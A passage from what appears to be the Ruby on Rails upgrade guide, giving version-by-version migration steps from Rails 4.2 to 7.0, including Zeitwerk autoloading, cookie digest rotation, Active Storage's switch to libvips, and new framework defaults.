  -button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
+button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)], method: :post)

or using helper to build the URL:

  -button_to("Do a POST", [:my_custom_post_action_on_workshop, Workshop.find(1)])
+button_to("Do a POST", my_custom_post_action_on_workshop_workshop_path(Workshop.find(1)))

2.2 Spring

If your application uses Spring, it needs to be upgraded to at least version 3.0.0. Otherwise you'll get

  undefined method `mechanism=' for ActiveSupport::Dependencies:Module

Also, make sure config.cache_classes is set to false in config/environments/test.rb.

2.3 Sprockets is now an optional dependency

The gem rails doesn't depend on sprockets-rails anymore. If your application still needs to use Sprockets, make sure to add sprockets-rails to your Gemfile.

  gem "sprockets-rails"

2.4 Applications need to run in zeitwerk mode

Applications still running in classic mode have to switch to zeitwerk mode. Please check the Classic to Zeitwerk HOWTO guide for details.

2.5 The setter config.autoloader= has been deleted

In Rails 7 there is no configuration point to set the autoloading mode, config.autoloader= has been deleted. If you had it set to :zeitwerk for whatever reason, just remove it.

2.6 ActiveSupport::Dependencies private API has been deleted

The private API of ActiveSupport::Dependencies has been deleted. That includes methods like hook!, unhook!, depend_on, require_or_load, mechanism, and many others.

A few of highlights:

If you used ActiveSupport::Dependencies.constantize or ActiveSupport::Dependencies.safe_constantize, just change them to String#constantize or String#safe_constantize.

    ActiveSupport::Dependencies.constantize("User") # NO LONGER POSSIBLE
  "User".constantize # 👍

Any usage of ActiveSupport::Dependencies.mechanism, reader or writer, has to be replaced by accessing config.cache_classes accordingly.

If you want to trace the activity of the autoloader, ActiveSupport::Dependencies.verbose= is no longer available, just throw Rails.autoloaders.log! in config/application.rb.

Auxiliary internal classes or modules are also gone, like like ActiveSupport::Dependencies::Reference, ActiveSupport::Dependencies::Blamable, and others.

2.7 Autoloading during initialization

Applications that autoloaded reloadable constants during initialization outside of to_prepare blocks got those constants unloaded and had this warning issued since Rails 6.0:

  DEPRECATION WARNING: Initialization autoloaded the constant ....

Being able to do this is deprecated. Autoloading during initialization is going
to be an error condition in future versions of Rails.

...

If you still get this warning in the logs, please check the section about autoloading when the application boots in the autoloading guide. You'd get a NameError in Rails 7 otherwise.

2.8 Ability to configure config.autoload_once_paths

config.autoload_once_paths can be set in the body of the application class defined in config/application.rb or in the configuration for environments in config/environments/*.

Similarly, engines can configure that collection in the class body of the engine class or in the configuration for environments.

After that, the collection is frozen, and you can autoload from those paths. In particular, you can autoload from there during initialization. They are managed by the Rails.autoloaders.once autoloader, which does not reload, only autoloads/eager loads.

If you configured this setting after the environments configuration has been processed and are getting FrozenError, please just move the code.

2.9 ActionDispatch::Request#content_type now returns Content-Type header as it is.

Previously, ActionDispatch::Request#content_type returned value does NOT contain charset part. This behavior changed to returned Content-Type header containing charset part as it is.

If you want just MIME type, please use ActionDispatch::Request#media_type instead.

Before:

  request = ActionDispatch::Request.new("CONTENT_TYPE" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
request.content_type #=> "text/csv"

After:

  request = ActionDispatch::Request.new("Content-Type" => "text/csv; header=present; charset=utf-16", "REQUEST_METHOD" => "GET")
request.content_type #=> "text/csv; header=present; charset=utf-16"
request.media_type   #=> "text/csv"

2.10 Key generator digest class changing to use SHA256

The default digest class for the key generator is changing from SHA1 to SHA256. This has consequences in any encrypted message generated by Rails, including encrypted cookies.

In order to be able to read messages using the old digest class it is necessary to register a rotator.

The following is an example for rotator for the encrypted and the signed cookies.

  # config/initializers/cookie_rotator.rb
Rails.application.config.after_initialize do
  Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
    authenticated_encrypted_cookie_salt = Rails.application.config.action_dispatch.authenticated_encrypted_cookie_salt
    signed_cookie_salt = Rails.application.config.action_dispatch.signed_cookie_salt

    secret_key_base = Rails.application.secret_key_base

    key_generator = ActiveSupport::KeyGenerator.new(
      secret_key_base, iterations: 1000, hash_digest_class: OpenSSL::Digest::SHA1
    )
    key_len = ActiveSupport::MessageEncryptor.key_len

    old_encrypted_secret = key_generator.generate_key(authenticated_encrypted_cookie_salt, key_len)
    old_signed_secret = key_generator.generate_key(signed_cookie_salt)

    cookies.rotate :encrypted, old_encrypted_secret
    cookies.rotate :signed, old_signed_secret
  end
end

2.11 Digest class for ActiveSupport::Digest changing to SHA256

The default digest class for ActiveSupport::Digest is changing from SHA1 to SHA256. This has consequences for things like Etags that will change and cache keys as well. Changing these keys can have impact on cache hit rates, so be careful and watch out for this when upgrading to the new hash.

2.12 New ActiveSupport::Cache serialization format

A faster and more compact serialization format was introduced.

To enable it you must set config.active_support.cache_format_version = 7.0:

  # config/application.rb

config.load_defaults 6.1
config.active_support.cache_format_version = 7.0

Or simply:

  # config/application.rb

config.load_defaults 7.0

However Rails 6.1 applications are not able to read this new serialization format, so to ensure a seamless upgrade you must first deploy your Rails 7.0 upgrade with config.active_support.cache_format_version = 6.1, and then only once all Rails processes have been updated you can set config.active_support.cache_format_version = 7.0.

Rails 7.0 is able to read both formats so the cache won't be invalidated during the upgrade.

2.13 Active Storage video preview image generation

Video preview image generation now uses FFmpeg's scene change detection to generate more meaningful preview images. Previously the first frame of the video would be used and that caused problems if the video faded in from black. This change requires FFmpeg v3.4+.

2.14 Active Storage default variant processor changed to :vips

For new apps, image transformation will use libvips instead of ImageMagick. This will reduce the time taken to generate variants as well as CPU and memory usage, improving response times in apps that rely on Active Storage to serve their images.

The :mini_magick option is not being deprecated, so it is fine to keep using it.

To migrate an existing app to libvips, set:

  Rails.application.config.active_storage.variant_processor = :vips

You will then need to change existing image transformation code to the image_processing macros, and replace ImageMagick's options with libvips' options.

2.14.1 Replace resize with resize_to_limit

  - variant(resize: "100x")
+ variant(resize_to_limit: [100, nil])

If you don't do this, when you switch to vips you will see this error: no implicit conversion to float from string.

2.14.2 Use an array when cropping

  - variant(crop: "1920x1080+0+0")
+ variant(crop: [0, 0, 1920, 1080])

If you don't do this when migrating to vips, you will see the following error: unable to call crop: you supplied 2 arguments, but operation needs 5.

2.14.3 Clamp your crop values:

Vips is more strict than ImageMagick when it comes to cropping:

It will not crop if x and/or y are negative values. e.g.: [-10, -10, 100, 100]

It will not crop if position (x or y) plus crop dimension (width, height) is larger than the image. e.g.: a 125x125 image and a crop of [50, 50, 100, 100]

If you don't do this when migrating to vips, you will see the following error: extract_area: bad extract area

2.14.4 Adjust the background color used for resize_and_pad

Vips uses black as the default background color resize_and_pad, instead of white like ImageMagick. Fix that by using the background option:

  - variant(resize_and_pad: [300, 300])
+ variant(resize_and_pad: [300, 300, background: [255]])

2.14.5 Remove any EXIF based rotation

Vips will auto rotate images using the EXIF value when processing variants. If you were storing rotation values from user uploaded photos to apply rotation with ImageMagick, you must stop doing that:

  - variant(format: :jpg, rotate: rotation_value)
+ variant(format: :jpg)

2.14.6 Replace monochrome with colourspace

Vips uses a different option to make monochrome images:

  - variant(monochrome: true)
+ variant(colourspace: "b-w")

2.14.7 Switch to libvips options for compressing images

JPEG

  - variant(strip: true, quality: 80, interlace: "JPEG", sampling_factor: "4:2:0", colorspace: "sRGB")
+ variant(saver: { strip: true, quality: 80, interlace: true })

PNG

  - variant(strip: true, quality: 75)
+ variant(saver: { strip: true, compression: 9 })

WEBP

  - variant(strip: true, quality: 75, define: { webp: { lossless: false, alpha_quality: 85, thread_level: 1 } })
+ variant(saver: { strip: true, quality: 75, lossless: false, alpha_q: 85, reduction_effort: 6, smart_subsample: true })

GIF

  - variant(layers: "Optimize")
+ variant(saver: { optimize_gif_frames: true, optimize_gif_transparency: true })

2.14.8 Deploy to production

Active Storage encodes into the url for the image the list of transformations that must be performed. If your app is caching these urls, your images will break after you deploy the new code to production. Because of this you must manually invalidate your affected cache keys.

For example, if you have something like this in a view:

  <% @products.each do |product| %>
  <% cache product do %>
    <%= image_tag product.cover_photo.variant(resize: "200x") %>
  <% end %>
<% end %>

You can invalidate the cache either by touching the product, or changing the cache key:

  <% @products.each do |product| %>
  <% cache ["v2", product] do %>
    <%= image_tag product.cover_photo.variant(resize_to_limit: [200, nil]) %>
  <% end %>
<% end %>

2.15 Rails version is now included in the Active Record schema dump

Rails 7.0 changed some default values for some column types. To avoid that application upgrading from 6.1 to 7.0 load the current schema using the new 7.0 defaults, Rails now includes the version of the framework in the schema dump.

Before loading the schema for the first time in Rails 7.0, make sure to run rails app:update to ensure that the version of the schema is included in the schema dump.

The schema file will look like this:

  # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.

ActiveRecord::Schema[6.1].define(version: 2022_01_28_123512) do

The first time you dump the schema with Rails 7.0, you will see many changes to that file, including some column information. Make sure to review the new schema file content and commit it to your repository.

3 Upgrading from Rails 6.0 to Rails 6.1

For more information on changes made to Rails 6.1 please see the release notes.

3.1 Rails.application.config_for return value no longer supports access with String keys.

Given a configuration file like this:

  # config/example.yml
development:
  options:
    key: value

  Rails.application.config_for(:example).options

This used to return a hash on which you could access values with String keys. That was deprecated in 6.0, and now doesn't work anymore.

You can call with_indifferent_access on the return value of config_for if you still want to access values with String keys, e.g.:

  Rails.application.config_for(:example).with_indifferent_access.dig('options', 'key')

3.2 Response's Content-Type when using respond_to#any

The Content-Type header returned in the response can differ from what Rails 6.0 returned, more specifically if your application uses respond_to { |format| format.any }. The Content-Type will now be based on the given block rather than the request's format.

Example:

  def my_action
  respond_to do |format|
    format.any { render(json: { foo: 'bar' }) }
  end
end

  get('my_action.csv')

Previous behaviour was returning a text/csv response's Content-Type which is inaccurate since a JSON response is being rendered. Current behaviour correctly returns a application/json response's Content-Type.

If your application relies on the previous incorrect behaviour, you are encouraged to specify which formats your action accepts, i.e.

  format.any(:xml, :json) { render request.format.to_sym => @people }

3.3 ActiveSupport::Callbacks#halted_callback_hook now receive a second argument

Active Support allows you to override the halted_callback_hook whenever a callback halts the chain. This method now receives a second argument which is the name of the callback being halted. If you have classes that override this method, make sure it accepts two arguments. Note that this is a breaking change without a prior deprecation cycle (for performance reasons).

Example:

  class Book < ApplicationRecord
  before_save { throw(:abort) }
  before_create { throw(:abort) }

  def halted_callback_hook(filter, callback_name) # => This method now accepts 2 arguments instead of 1
    Rails.logger.info("Book couldn't be #{callback_name}d")
  end
end

3.4 The helper class method in controllers uses String#constantize

Conceptually, before Rails 6.1

  helper "foo/bar"

resulted in

  require_dependency "foo/bar_helper"
module_name = "foo/bar_helper".camelize
module_name.constantize

Now it does this instead:

  prefix = "foo/bar".camelize
"#{prefix}Helper".constantize

This change is backwards compatible for the majority of applications, in which case you do not need to do anything.

Technically, however, controllers could configure helpers_path to point to a directory in $LOAD_PATH that was not in the autoload paths. That use case is no longer supported out of the box. If the helper module is not autoloadable, the application is responsible for loading it before calling helper.

3.5 Redirection to HTTPS from HTTP will now use the 308 HTTP status code

The default HTTP status code used in ActionDispatch::SSL when redirecting non-GET/HEAD requests from HTTP to HTTPS has been changed to 308 as defined in https://tools.ietf.org/html/rfc7538.

3.6 Active Storage now requires Image Processing

When processing variants in Active Storage, it's now required to have the image_processing gem bundled instead of directly using mini_magick. Image Processing is configured by default to use mini_magick behind the scenes, so the easiest way to upgrade is by replacing the mini_magick gem for the image_processing gem and making sure to remove the explicit usage of combine_options since it's no longer needed.

For readability, you may wish to change raw resize calls to image_processing macros. For example, instead of:

  video.preview(resize: "100x100")
video.preview(resize: "100x100>")
video.preview(resize: "100x100^")

you can respectively do:

  video.preview(resize_to_fit: [100, 100])
video.preview(resize_to_limit: [100, 100])
video.preview(resize_to_fill: [100, 100])

4 Upgrading from Rails 5.2 to Rails 6.0

For more information on changes made to Rails 6.0 please see the release notes.

4.1 Using Webpacker

Webpacker is the default JavaScript compiler for Rails 6. But if you are upgrading the app, it is not activated by default. If you want to use Webpacker, then include it in your Gemfile and install it:

  gem "webpacker"

  $ bin/rails webpacker:install

4.2 Force SSL

The force_ssl method on controllers has been deprecated and will be removed in Rails 6.1. You are encouraged to enable config.force_ssl to enforce HTTPS connections throughout your application. If you need to exempt certain endpoints from redirection, you can use config.ssl_options to configure that behavior.

4.3 Purpose and expiry metadata is now embedded inside signed and encrypted cookies for increased security

To improve security, Rails embeds the purpose and expiry metadata inside encrypted or signed cookies value.

Rails can then thwart attacks that attempt to copy the signed/encrypted value of a cookie and use it as the value of another cookie.

This new embed metadata make those cookies incompatible with versions of Rails older than 6.0.

If you require your cookies to be read by Rails 5.2 and older, or you are still validating your 6.0 deploy and want to be able to rollback set Rails.application.config.action_dispatch.use_cookies_with_metadata to false.

4.4 All npm packages have been moved to the @rails scope

If you were previously loading any of the actioncable, activestorage, or rails-ujs packages through npm/yarn, you must update the names of these dependencies before you can upgrade them to 6.0.0:

  actioncable   → @rails/actioncable
activestorage → @rails/activestorage
rails-ujs     → @rails/ujs

4.5 Action Cable JavaScript API Changes

The Action Cable JavaScript package has been converted from CoffeeScript to ES2015, and we now publish the source code in the npm distribution.

This release includes some breaking changes to optional parts of the Action Cable JavaScript API:

Configuration of the WebSocket adapter and logger adapter have been moved from properties of ActionCable to properties of ActionCable.adapters. If you are configuring these adapters you will need to make these changes:

-    ActionCable.WebSocket = MyWebSocket
+    ActionCable.adapters.WebSocket = MyWebSocket

-    ActionCable.logger = myLogger
+    ActionCable.adapters.logger = myLogger

The ActionCable.startDebugging() and ActionCable.stopDebugging() methods have been removed and replaced with the property ActionCable.logger.enabled. If you are using these methods you will need to make these changes:

-    ActionCable.startDebugging()
+    ActionCable.logger.enabled = true

-    ActionCable.stopDebugging()
+    ActionCable.logger.enabled = false

4.6 ActionDispatch::Response#content_type now returns the Content-Type header without modification

Previously, the return value of ActionDispatch::Response#content_type did NOT contain the charset part. This behavior has changed to include the previously omitted charset part as well.

If you want just the MIME type, please use ActionDispatch::Response#media_type instead.

Before:

  resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present"

After:

  resp = ActionDispatch::Response.new(200, "Content-Type" => "text/csv; header=present; charset=utf-16")
resp.content_type #=> "text/csv; header=present; charset=utf-16"
resp.media_type   #=> "text/csv"

4.7 Autoloading

The default configuration for Rails 6

  # config/application.rb

config.load_defaults 6.0

enables zeitwerk autoloading mode on CRuby. In that mode, autoloading, reloading, and eager loading are managed by Zeitwerk.

If you are using defaults from a previous Rails version, you can enable zeitwerk like so:

  # config/application.rb

config.autoloader = :zeitwerk

4.7.1 Public API

In general, applications do not need to use the API of Zeitwerk directly. Rails sets things up according to the existing contract: config.autoload_paths, config.cache_classes, etc.

While applications should stick to that interface, the actual Zeitwerk loader object can be accessed as

  Rails.autoloaders.main

That may be handy if you need to preload Single Table Inheritance (STI) classes or configure a custom inflector, for example.

4.7.2 Project Structure

If the application being upgraded autoloads correctly, the project structure should be already mostly compatible.

However, classic mode infers file names from missing constant names (underscore), whereas zeitwerk mode infers constant names from file names (camelize). These helpers are not always inverse of each other, in particular if acronyms are involved. For instance, "FOO".underscore is "foo", but "foo".camelize is "Foo", not "FOO".

Compatibility can be checked with the zeitwerk:check task:

  $ bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!

4.7.3 require_dependency

All known use cases of require_dependency have been eliminated, you should grep the project and delete them.

If your application uses Single Table Inheritance, please see the Single Table Inheritance section of the Autoloading and Reloading Constants (Zeitwerk Mode) guide.

4.7.4 Qualified names in class and module definitions

You can now robustly use constant paths in class and module definitions:

  # Autoloading in this class' body matches Ruby semantics now.
class Admin::UsersController < ApplicationController
  # ...
end

A gotcha to be aware of is that, depending on the order of execution, the classic autoloader could sometimes be able to autoload Foo::Wadus in

  class Foo::Bar
  Wadus
end

That does not match Ruby semantics because Foo is not in the nesting, and won't work at all in zeitwerk mode. If you find such corner case you can use the qualified name Foo::Wadus:

  class Foo::Bar
  Foo::Wadus
end

or add Foo to the nesting:

  module Foo
  class Bar
    Wadus
  end
end

4.7.5 Concerns

You can autoload and eager load from a standard structure like

  app/models
app/models/concerns

In that case, app/models/concerns is assumed to be a root directory (because it belongs to the autoload paths), and it is ignored as namespace. So, app/models/concerns/foo.rb should define Foo, not Concerns::Foo.

The Concerns:: namespace worked with the classic autoloader as a side-effect of the implementation, but it was not really an intended behavior. An application using Concerns:: needs to rename those classes and modules to be able to run in zeitwerk mode.

4.7.6 Having app in the autoload paths

Some projects want something like app/api/base.rb to define API::Base, and add app to the autoload paths to accomplish that in classic mode. Since Rails adds all subdirectories of app to the autoload paths automatically, we have another situation in which there are nested root directories, so that setup no longer works. Similar principle we explained above with concerns.

If you want to keep that structure, you'll need to delete the subdirectory from the autoload paths in an initializer:

  ActiveSupport::Dependencies.autoload_paths.delete("#{Rails.root}/app/api")

4.7.7 Autoloaded Constants and Explicit Namespaces

If a namespace is defined in a file, as Hotel is here:

  app/models/hotel.rb         # Defines Hotel.
app/models/hotel/pricing.rb # Defines Hotel::Pricing.

the Hotel constant has to be set using the class or module keywords. For example:

  class Hotel
end

is good.

Alternatives like

  Hotel = Class.new

or

  Hotel = Struct.new

won't work, child objects like Hotel::Pricing won't be found.

This restriction only applies to explicit namespaces. Classes and modules not defining a namespace can be defined using those idioms.

4.7.8 One file, one constant (at the same top-level)

In classic mode you could technically define several constants at the same top-level and have them all reloaded. For example, given

  # app/models/foo.rb

class Foo
end

class Bar
end

while Bar could not be autoloaded, autoloading Foo would mark Bar as autoloaded too. This is not the case in zeitwerk mode, you need to move Bar to its own file bar.rb. One file, one constant.

This only applies to constants at the same top-level as in the example above. Inner classes and modules are fine. For example, consider

  # app/models/foo.rb

class Foo
  class InnerClass
  end
end

If the application reloads Foo, it will reload Foo::InnerClass too.

4.7.9 Spring and the test Environment

Spring reloads the application code if something changes. In the test environment you need to enable reloading for that to work:

  # config/environments/test.rb

config.cache_classes = false

Otherwise you'll get this error:

  reloading is disabled because config.cache_classes is true

4.7.10 Bootsnap

Bootsnap should be at least version 1.4.2.

In addition to that, Bootsnap needs to disable the iseq cache due to a bug in the interpreter if running Ruby 2.5. Please make sure to depend on at least Bootsnap 1.4.4 in that case.

4.7.11 config.add_autoload_paths_to_load_path

The new configuration point config.add_autoload_paths_to_load_path is true by default for backwards compatibility, but allows you to opt-out from adding the autoload paths to $LOAD_PATH.

This makes sense in most applications, since you never should require a file in app/models, for example, and Zeitwerk only uses absolute file names internally.

By opting-out you optimize $LOAD_PATH lookups (less directories to check), and save Bootsnap work and memory consumption, since it does not need to build an index for these directories.

4.7.12 Thread-safety

In classic mode, constant autoloading is not thread-safe, though Rails has locks in place for example to make web requests thread-safe when autoloading is enabled, as it is common in the development environment.

Constant autoloading is thread-safe in zeitwerk mode. For example, you can now autoload in multi-threaded scripts executed by the runner command.

4.7.13 Globs in config.autoload_paths

Beware of configurations like

  config.autoload_paths += Dir["#{config.root}/lib/**/"]

Every element of config.autoload_paths should represent the top-level namespace (Object) and they cannot be nested in consequence (with the exception of concerns directories explained above).

To fix this, just remove the wildcards:

  config.autoload_paths << "#{config.root}/lib"

4.7.14 Eager loading and autoloading are consistent

In classic mode, if app/models/foo.rb defines Bar, you won't be able to autoload that file, but eager loading will work because it loads files recursively blindly. This can be a source of errors if you test things first eager loading, execution may fail later autoloading.

In zeitwerk mode both loading modes are consistent, they fail and err in the same files.

4.7.15 How to Use the Classic Autoloader in Rails 6

Applications can load Rails 6 defaults and still use the classic autoloader by setting config.autoloader this way:

  # config/application.rb

config.load_defaults 6.0
config.autoloader = :classic

When using the Classic Autoloader in Rails 6 application it is recommended to set concurrency level to 1 in development environment, for the web servers and background processors, due to the thread-safety concerns.

4.8 Active Storage assignment behavior change

With the configuration defaults for Rails 5.2, assigning to a collection of attachments declared with has_many_attached appends new files:

  class User < ApplicationRecord
  has_many_attached :highlights
end

user.highlights.attach(filename: "funky.jpg", ...)
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.update!(highlights: [ blob ])

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"

With the configuration defaults for Rails 6.0, assigning to a collection of attachments replaces existing files instead of appending to them. This matches Active Record behavior when assigning to a collection association:

  user.highlights.attach(filename: "funky.jpg", ...)
user.highlights.count # => 1

blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.update!(highlights: [ blob ])

user.highlights.count # => 1
user.highlights.first.filename # => "town.jpg"

#attach can be used to add new attachments without removing the existing ones:

  blob = ActiveStorage::Blob.create_after_upload!(filename: "town.jpg", ...)
user.highlights.attach(blob)

user.highlights.count # => 2
user.highlights.first.filename # => "funky.jpg"
user.highlights.second.filename # => "town.jpg"

Existing applications can opt in to this new behavior by setting config.active_storage.replace_on_assign_to_many to true. The old behavior will be deprecated in Rails 7.0 and removed in Rails 7.1.

5 Upgrading from Rails 5.1 to Rails 5.2

For more information on changes made to Rails 5.2 please see the release notes.

5.1 Bootsnap

Rails 5.2 adds bootsnap gem in the newly generated app's Gemfile. The app:update command sets it up in boot.rb. If you want to use it, then add it in the Gemfile:

  # Reduces boot times through caching; required in config/boot.rb
gem 'bootsnap', require: false

Otherwise change the boot.rb to not use bootsnap.

5.2 Expiry in signed or encrypted cookie is now embedded in the cookies values

To improve security, Rails now embeds the expiry information also in encrypted or signed cookies value.

This new embedded information makes those cookies incompatible with versions of Rails older than 5.2.

If you require your cookies to be read by 5.1 and older, or you are still validating your 5.2 deploy and want to allow you to rollback set Rails.application.config.action_dispatch.use_authenticated_cookie_encryption to false.

6 Upgrading from Rails 5.0 to Rails 5.1

For more information on changes made to Rails 5.1 please see the release notes.

6.1 Top-level HashWithIndifferentAccess is soft-deprecated

If your application uses the top-level HashWithIndifferentAccess class, you should slowly move your code to instead use ActiveSupport::HashWithIndifferentAccess.

It is only soft-deprecated, which means that your code will not break at the moment and no deprecation warning will be displayed, but this constant will be removed in the future.

Also, if you have pretty old YAML documents containing dumps of such objects, you may need to load and dump them again to make sure that they reference the right constant, and that loading them won't break in the future.

6.2 application.secrets now loaded with all keys as symbols

If your application stores nested configuration in config/secrets.yml, all keys are now loaded as symbols, so access using strings should be changed.

From:

  Rails.application.secrets[:smtp_settings]["address"]

To:

  Rails.application.secrets[:smtp_settings][:address]

6.3 Removed deprecated support to :text and :nothing in render

If your controllers are using render :text, they will no longer work. The new method of rendering text with MIME type of text/plain is to use render :plain.

Similarly, render :nothing is also removed and you should use the head method to send responses that contain only headers. For example, head :ok sends a 200 response with no body to render.

6.4 Removed deprecated support of redirect_to :back

In Rails 5.0, redirect_to :back was deprecated. In Rails 5.1, it was removed completely.

As an alternative, use redirect_back. It's important to note that redirect_back also takes a fallback_location option which will be used in case the HTTP_REFERER is missing.

  redirect_back(fallback_location: root_path)

7 Upgrading from Rails 4.2 to Rails 5.0

For more information on changes made to Rails 5.0 please see the release notes.

7.1 Ruby 2.2.2+ required

From Ruby on Rails 5.0 onwards, Ruby 2.2.2+ is the only supported Ruby version. Make sure you are on Ruby 2.2.2 version or greater, before you proceed.

7.2 Active Record Models Now Inherit from ApplicationRecord by Default

In Rails 4.2, an Active Record model inherits from ActiveRecord::Base. In Rails 5.0, all models inherit from ApplicationRecord.

ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_record.rb file in app/models/ and add the following content:

  class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true
end

Then make sure that all your models inherit from it.

7.3 Halting Callback Chains via throw(:abort)

In Rails 4.2, when a 'before' callback returns false in Active Record and Active Model, then the entire callback chain is halted. In other words, successive 'before' callbacks are not executed, and neither is the action wrapped in callbacks.

In Rails 5.0, returning false in an Active Record or Active Model callback will not have this side effect of halting the callback chain. Instead, callback chains must be explicitly halted by calling throw(:abort).

When you upgrade from Rails 4.2 to Rails 5.0, returning false in those kind of callbacks will still halt the callback chain, but you will receive a deprecation warning about this upcoming change.

When you are ready, you can opt into the new behavior and remove the deprecation warning by adding the following configuration to your config/application.rb:

  ActiveSupport.halt_callback_chains_on_return_false = false

Note that this option will not affect Active Support callbacks since they never halted the chain when any value was returned.

See #17227 for more details.

7.4 ActiveJob Now Inherits from ApplicationJob by Default

In Rails 4.2, an Active Job inherits from ActiveJob::Base. In Rails 5.0, this behavior has changed to now inherit from ApplicationJob.

When upgrading from Rails 4.2 to Rails 5.0, you need to create an application_job.rb file in app/jobs/ and add the following content:

  class ApplicationJob < ActiveJob::Base
end

Then make sure that all your job classes inherit from it.

See #19034 for more details.

7.5 Rails Controller Testing

7.5.1 Extraction of some helper methods to rails-controller-testing

assigns and assert_template have been extracted to the rails-controller-testing gem. To continue using these methods in your controller tests, add gem 'rails-controller-testing' to your Gemfile.

If you are using RSpec for testing, please see the extra configuration required in the gem's documentation.

7.5.2 New behavior when uploading files

If you are using ActionDispatch::Http::UploadedFile in your tests to upload files, you will need to change to use the similar Rack::Test::UploadedFile class instead.

See #26404 for more details.

7.6 Autoloading is Disabled After Booting in the Production Environment

Autoloading is now disabled after booting in the production environment by default.

Eager loading the application is part of the boot process, so top-level constants are fine and are still autoloaded, no need to require their files.

Constants in deeper places only executed at runtime, like regular method bodies, are also fine because the file defining them will have been eager loaded while booting.

For the vast majority of applications this change needs no action. But in the very rare event that your application needs autoloading while running in production, set Rails.application.config.enable_dependency_loading to true.

7.7 XML Serialization

ActiveModel::Serializers::Xml has been extracted from Rails to the activemodel-serializers-xml gem. To continue using XML serialization in your application, add gem 'activemodel-serializers-xml' to your Gemfile.

7.8 Removed Support for Legacy mysql Database Adapter

Rails 5 removes support for the legacy mysql database adapter. Most users should be able to use mysql2 instead. It will be converted to a separate gem when we find someone to maintain it.

7.9 Removed Support for Debugger

debugger is not supported by Ruby 2.2 which is required by Rails 5. Use byebug instead.

7.10 Use bin/rails for running tasks and tests

Rails 5 adds the ability to run tasks and tests through bin/rails instead of rake. Generally these changes are in parallel with rake, but some were ported over altogether.

To use the new test runner simply type bin/rails test.

rake dev:cache is now bin/rails dev:cache.

Run bin/rails inside your application's root directory to see the list of commands available.

7.11 ActionController::Parameters No Longer Inherits from HashWithIndifferentAccess

Calling params in your application will now return an object instead of a hash. If your parameters are already permitted, then you will not need to make any changes. If you are using map and other methods that depend on being able to read the hash regardless of permitted? you will need to upgrade your application to first permit and then convert to a hash.

  params.permit([:proceed_to, :return_to]).to_h

7.12 protect_from_forgery Now Defaults to prepend: false

protect_from_forgery defaults to prepend: false which means that it will be inserted into the callback chain at the point in which you call it in your application. If you want protect_from_forgery to always run first, then you should change your application to use protect_from_forgery prepend: true.

7.13 Default Template Handler is Now RAW

Files without a template handler in their extension will be rendered using the raw handler. Previously Rails would render files using the ERB template handler.

If you do not want your file to be handled via the raw handler, you should add an extension to your file that can be parsed by the appropriate template handler.

7.14 Added Wildcard Matching for Template Dependencies

You can now use wildcard matching for your template dependencies. For example, if you were defining your templates as such:

  <% # Template Dependency: recordings/threads/events/subscribers_changed %>
<% # Template Dependency: recordings/threads/events/completed %>
<% # Template Dependency: recordings/threads/events/uncompleted %>

You can now just call the dependency once with a wildcard.

  <% # Template Dependency: recordings/threads/events/* %>

7.15 ActionView::Helpers::RecordTagHelper moved to external gem (record_tag_helper)

content_tag_for and div_for have been removed in favor of just using content_tag. To continue using the older methods, add the record_tag_helper gem to your Gemfile:

  gem 'record_tag_helper', '~> 1.0'

See #18411 for more details.

7.16 Removed Support for protected_attributes Gem

The protected_attributes gem is no longer supported in Rails 5.

7.17 Removed support for activerecord-deprecated_finders gem

The activerecord-deprecated_finders gem is no longer supported in Rails 5.

7.18 ActiveSupport::TestCase Default Test Order is Now Random

When tests are run in your application, the default order is now :random instead of :sorted. Use the following config option to set it back to :sorted.

  # config/environments/test.rb
Rails.application.configure do
  config.active_support.test_order = :sorted
end

7.19 ActionController::Live became a Concern

If you include ActionController::Live in another module that is included in your controller, then you should also extend the module with ActiveSupport::Concern. Alternatively, you can use the self.included hook to include ActionController::Live directly to the controller once the StreamingSupport is included.

This means that if your application used to have its own streaming module, the following code would break in production:

  # This is a work-around for streamed controllers performing authentication with Warden/Devise.
# See https://github.com/plataformatec/devise/issues/2332
# Authenticating in the router is another solution as suggested in that issue
class StreamingSupport
  include ActionController::Live # this won't work in production for Rails 5
  # extend ActiveSupport::Concern # unless you uncomment this line.

  def process(name)
    super(name)
  rescue ArgumentError => e
    if e.message == 'uncaught throw :warden'
      throw :warden
    else
      raise e
    end
  end
end

7.20 New Framework Defaults

7.20.1 Active Record belongs_to Required by Default Option

belongs_to will now trigger a validation error by default if the association is not present.

This can be turned off per-association with optional: true.

This default will be automatically configured in new applications. If an existing application wants to add this feature it will need to be turned on in an initializer:

  config.active_record.belongs_to_required_by_default = true

The configuration is by default global for all your models, but you can override it on a per model basis. This should help you migrate all your models to have their associations required by default.

  class Book < ApplicationRecord
  # model is not yet ready to have its association required by default

  self.belongs_to_required_by_default = false
  belongs_to(:author)
end

class Car < ApplicationRecord
  # model is ready to have its association required by default

  self.belongs_to_required_by_default = true
  belongs_to(:pilot)
end

7.20.2 Per-form CSRF Tokens

Rails 5 now supports per-form CSRF tokens to mitigate against code-injection attacks with forms created by JavaScript. With this option turned on, forms in your application will each have their own CSRF token that is specific to the action and method for that form.

  config.action_controller.per_form_csrf_tokens = true

7.20.3 Forgery Protection with Origin Check

You can now configure your application to check if the HTTP Origin header should be checked against the site's origin as an additional CSRF defense. Set the following in your config to true:

  config.action_controller.forgery_protection_origin_check = true

